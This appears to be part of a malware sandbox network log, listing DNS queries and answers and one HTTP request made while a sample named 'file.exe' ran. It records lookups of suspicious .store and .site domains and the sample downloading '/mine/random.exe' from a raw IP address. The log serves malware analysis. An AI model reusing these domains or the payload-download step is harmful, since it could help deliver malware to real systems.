Oct 22, 2024 19:25:14.756485939 CEST	192.168.2.8	1.1.1.1	0x7a36	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.770684958 CEST	192.168.2.8	1.1.1.1	0x6b8c	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.783483028 CEST	192.168.2.8	1.1.1.1	0x9f4d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.614676952 CEST	192.168.2.8	1.1.1.1	0xac40	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.627405882 CEST	192.168.2.8	1.1.1.1	0x8709	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.639417887 CEST	192.168.2.8	1.1.1.1	0x14ff	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.652796984 CEST	192.168.2.8	1.1.1.1	0xa68f	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.666686058 CEST	192.168.2.8	1.1.1.1	0x2187	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.679301977 CEST	192.168.2.8	1.1.1.1	0xb2d	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.697621107 CEST	192.168.2.8	1.1.1.1	0xa88f	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.709460020 CEST	192.168.2.8	1.1.1.1	0x656b	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.724385023 CEST	192.168.2.8	1.1.1.1	0x3446	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:32.137341022 CEST	192.168.2.8	1.1.1.1	0x4c47	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:32.151454926 CEST	192.168.2.8	1.1.1.1	0xfa74	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:25:33.430525064 CEST	192.168.2.8	1.1.1.1	0x469c	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:33.432379961 CEST	192.168.2.8	1.1.1.1	0xa558	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:33.439618111 CEST	192.168.2.8	1.1.1.1	0xfe2f	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:33.451246023 CEST	192.168.2.8	1.1.1.1	0x6e54	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 22, 2024 19:25:33.459821939 CEST	192.168.2.8	1.1.1.1	0x1b32	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:33.481508017 CEST	192.168.2.8	1.1.1.1	0x3dac	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:25:34.668739080 CEST	192.168.2.8	1.1.1.1	0xb2fc	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:34.669409990 CEST	192.168.2.8	1.1.1.1	0x3f59	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:34.677727938 CEST	192.168.2.8	1.1.1.1	0xcdb4	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:34.678670883 CEST	192.168.2.8	1.1.1.1	0xf90e	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:34.694197893 CEST	192.168.2.8	1.1.1.1	0x7667	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 22, 2024 19:25:35.619791031 CEST	192.168.2.8	1.1.1.1	0x12a7	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:35.635308981 CEST	192.168.2.8	1.1.1.1	0x3391	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:35.679267883 CEST	192.168.2.8	1.1.1.1	0xb96e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:35.686100960 CEST	192.168.2.8	1.1.1.1	0xb0d	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:35.695940971 CEST	192.168.2.8	1.1.1.1	0x4a2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:25:35.699229002 CEST	192.168.2.8	1.1.1.1	0xeb9b	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:25:37.024924040 CEST	192.168.2.8	1.1.1.1	0x43bc	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:37.041620016 CEST	192.168.2.8	1.1.1.1	0xf3f6	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:37.068115950 CEST	192.168.2.8	1.1.1.1	0x80d6	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:26:01.639805079 CEST	192.168.2.8	1.1.1.1	0x464f	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.669855118 CEST	192.168.2.8	1.1.1.1	0x7cbc	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.680517912 CEST	192.168.2.8	1.1.1.1	0xeea4	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.698281050 CEST	192.168.2.8	1.1.1.1	0xaa05	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.709311962 CEST	192.168.2.8	1.1.1.1	0x7e8c	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.720125914 CEST	192.168.2.8	1.1.1.1	0xc252	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.761471033 CEST	192.168.2.8	1.1.1.1	0x111c	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.772939920 CEST	192.168.2.8	1.1.1.1	0x9873	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.805505991 CEST	192.168.2.8	1.1.1.1	0x9191	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:02.144490004 CEST	192.168.2.8	1.1.1.1	0x7848	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:02.149010897 CEST	192.168.2.8	1.1.1.1	0x9772	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:26:02.210685968 CEST	192.168.2.8	1.1.1.1	0xc110	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 22, 2024 19:26:02.227807045 CEST	192.168.2.8	1.1.1.1	0xa6ae	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:26:02.265348911 CEST	192.168.2.8	1.1.1.1	0x49e7	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:02.275125980 CEST	192.168.2.8	1.1.1.1	0x7b9e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:26:02.310313940 CEST	192.168.2.8	1.1.1.1	0x7f	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:26:02.865775108 CEST	192.168.2.8	1.1.1.1	0x3d12	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:22.764520884 CEST	192.168.2.8	1.1.1.1	0x7654	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:26:23.096080065 CEST	192.168.2.8	1.1.1.1	0x4917	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 22, 2024 19:26:23.097656965 CEST	192.168.2.8	1.1.1.1	0xb712	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:26:23.428905010 CEST	192.168.2.8	1.1.1.1	0x63c4	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:26:52.588098049 CEST	192.168.2.8	1.1.1.1	0x9e1f	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.591368914 CEST	192.168.2.8	1.1.1.1	0xf36a	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.600416899 CEST	192.168.2.8	1.1.1.1	0xec72	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 22, 2024 19:26:52.611870050 CEST	192.168.2.8	1.1.1.1	0xbb1	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.612363100 CEST	192.168.2.8	1.1.1.1	0xc35e	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.623958111 CEST	192.168.2.8	1.1.1.1	0x99ba	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Oct 22, 2024 19:26:52.624497890 CEST	192.168.2.8	1.1.1.1	0xde1d	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Oct 22, 2024 19:26:53.269088030 CEST	192.168.2.8	1.1.1.1	0x45dd	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 22, 2024 19:24:19.189775944 CEST	1.1.1.1	192.168.2.8	0x5c9e	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.204364061 CEST	1.1.1.1	192.168.2.8	0x4dd4	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.218296051 CEST	1.1.1.1	192.168.2.8	0x8671	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.233910084 CEST	1.1.1.1	192.168.2.8	0xa850	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.257653952 CEST	1.1.1.1	192.168.2.8	0x326a	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.271446943 CEST	1.1.1.1	192.168.2.8	0x3d71	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.284854889 CEST	1.1.1.1	192.168.2.8	0x2951	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.316015959 CEST	1.1.1.1	192.168.2.8	0xcd25	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:19.329631090 CEST	1.1.1.1	192.168.2.8	0xce	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:21.892136097 CEST	1.1.1.1	192.168.2.8	0xd7ba	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:24:21.892136097 CEST	1.1.1.1	192.168.2.8	0xd7ba	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.689357996 CEST	1.1.1.1	192.168.2.8	0xe9eb	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.702832937 CEST	1.1.1.1	192.168.2.8	0x907e	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.722954988 CEST	1.1.1.1	192.168.2.8	0x6a2	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.733315945 CEST	1.1.1.1	192.168.2.8	0xd814	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.744194031 CEST	1.1.1.1	192.168.2.8	0x342a	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.755494118 CEST	1.1.1.1	192.168.2.8	0x374	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.766104937 CEST	1.1.1.1	192.168.2.8	0x7a36	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.781043053 CEST	1.1.1.1	192.168.2.8	0x6b8c	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:14.790652990 CEST	1.1.1.1	192.168.2.8	0x9f4d	No error (0)	steamcommunity.com		92.122.104.90	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.625714064 CEST	1.1.1.1	192.168.2.8	0xac40	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.637085915 CEST	1.1.1.1	192.168.2.8	0x8709	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.650329113 CEST	1.1.1.1	192.168.2.8	0x14ff	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.662524939 CEST	1.1.1.1	192.168.2.8	0xa68f	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.676525116 CEST	1.1.1.1	192.168.2.8	0x2187	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.689511061 CEST	1.1.1.1	192.168.2.8	0xb2d	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.708215952 CEST	1.1.1.1	192.168.2.8	0xa88f	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.719990969 CEST	1.1.1.1	192.168.2.8	0x656b	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:29.733942986 CEST	1.1.1.1	192.168.2.8	0x3446	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:32.089149952 CEST	1.1.1.1	192.168.2.8	0x6127	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:32.145410061 CEST	1.1.1.1	192.168.2.8	0x4c47	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:33.438442945 CEST	1.1.1.1	192.168.2.8	0x469c	No error (0)	youtube.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:33.440578938 CEST	1.1.1.1	192.168.2.8	0xa558	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:25:33.440578938 CEST	1.1.1.1	192.168.2.8	0xa558	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:33.447688103 CEST	1.1.1.1	192.168.2.8	0xfe2f	No error (0)	youtube.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:33.458563089 CEST	1.1.1.1	192.168.2.8	0x6e54	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 22, 2024 19:25:33.467709064 CEST	1.1.1.1	192.168.2.8	0x1b32	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:33.488838911 CEST	1.1.1.1	192.168.2.8	0x3dac	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 22, 2024 19:25:34.676501036 CEST	1.1.1.1	192.168.2.8	0xb2fc	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:34.676769018 CEST	1.1.1.1	192.168.2.8	0x3f59	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:34.684976101 CEST	1.1.1.1	192.168.2.8	0xcdb4	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:34.684976101 CEST	1.1.1.1	192.168.2.8	0xcdb4	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:34.686336040 CEST	1.1.1.1	192.168.2.8	0xf90e	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:35.627283096 CEST	1.1.1.1	192.168.2.8	0x5d21	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:25:35.627283096 CEST	1.1.1.1	192.168.2.8	0x5d21	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:35.628611088 CEST	1.1.1.1	192.168.2.8	0x12a7	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:25:35.628611088 CEST	1.1.1.1	192.168.2.8	0x12a7	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:35.642992020 CEST	1.1.1.1	192.168.2.8	0x3391	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:25:35.642992020 CEST	1.1.1.1	192.168.2.8	0x3391	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:35.686978102 CEST	1.1.1.1	192.168.2.8	0xb96e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:35.693680048 CEST	1.1.1.1	192.168.2.8	0xb0d	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:37.036233902 CEST	1.1.1.1	192.168.2.8	0x43bc	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:25:37.036233902 CEST	1.1.1.1	192.168.2.8	0x43bc	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:25:37.036233902 CEST	1.1.1.1	192.168.2.8	0x43bc	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:37.053127050 CEST	1.1.1.1	192.168.2.8	0xf3f6	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:25:37.075790882 CEST	1.1.1.1	192.168.2.8	0x80d6	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 22, 2024 19:26:01.668348074 CEST	1.1.1.1	192.168.2.8	0x464f	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.679166079 CEST	1.1.1.1	192.168.2.8	0x7cbc	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.691605091 CEST	1.1.1.1	192.168.2.8	0xeea4	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.707585096 CEST	1.1.1.1	192.168.2.8	0xaa05	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.719168901 CEST	1.1.1.1	192.168.2.8	0x7e8c	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.730339050 CEST	1.1.1.1	192.168.2.8	0xc252	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.771341085 CEST	1.1.1.1	192.168.2.8	0x111c	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.782461882 CEST	1.1.1.1	192.168.2.8	0x9873	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:01.813880920 CEST	1.1.1.1	192.168.2.8	0x9191	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:02.195097923 CEST	1.1.1.1	192.168.2.8	0x7848	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:26:02.195097923 CEST	1.1.1.1	192.168.2.8	0x7848	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:02.263197899 CEST	1.1.1.1	192.168.2.8	0xbf7a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:26:02.263197899 CEST	1.1.1.1	192.168.2.8	0xbf7a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:02.273526907 CEST	1.1.1.1	192.168.2.8	0x49e7	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:02.319335938 CEST	1.1.1.1	192.168.2.8	0x7f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 22, 2024 19:26:02.689532042 CEST	1.1.1.1	192.168.2.8	0x871a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:26:02.689532042 CEST	1.1.1.1	192.168.2.8	0x871a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:02.873301029 CEST	1.1.1.1	192.168.2.8	0x3d12	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:26:02.873301029 CEST	1.1.1.1	192.168.2.8	0x3d12	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:23.342437983 CEST	1.1.1.1	192.168.2.8	0x304f	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:26:23.342437983 CEST	1.1.1.1	192.168.2.8	0x304f	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.580899000 CEST	1.1.1.1	192.168.2.8	0xf581	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:26:52.580899000 CEST	1.1.1.1	192.168.2.8	0xf581	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.596358061 CEST	1.1.1.1	192.168.2.8	0x9e1f	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.596358061 CEST	1.1.1.1	192.168.2.8	0x9e1f	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.596358061 CEST	1.1.1.1	192.168.2.8	0x9e1f	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.596358061 CEST	1.1.1.1	192.168.2.8	0x9e1f	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.600286961 CEST	1.1.1.1	192.168.2.8	0xf36a	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:26:52.600286961 CEST	1.1.1.1	192.168.2.8	0xf36a	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.621648073 CEST	1.1.1.1	192.168.2.8	0xc35e	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.621648073 CEST	1.1.1.1	192.168.2.8	0xc35e	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.621648073 CEST	1.1.1.1	192.168.2.8	0xc35e	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.621648073 CEST	1.1.1.1	192.168.2.8	0xc35e	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:52.621680021 CEST	1.1.1.1	192.168.2.8	0xbb1	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:53.277070999 CEST	1.1.1.1	192.168.2.8	0x45dd	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:26:53.277070999 CEST	1.1.1.1	192.168.2.8	0x45dd	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 22, 2024 19:26:53.960901022 CEST	1.1.1.1	192.168.2.8	0x1919	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:26:53.960901022 CEST	1.1.1.1	192.168.2.8	0x1919	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:26:53.978458881 CEST	1.1.1.1	192.168.2.8	0x1919	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 19:26:53.978458881 CEST	1.1.1.1	192.168.2.8	0x1919	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49717	185.215.113.16	80	6900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:24:34.851269960 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
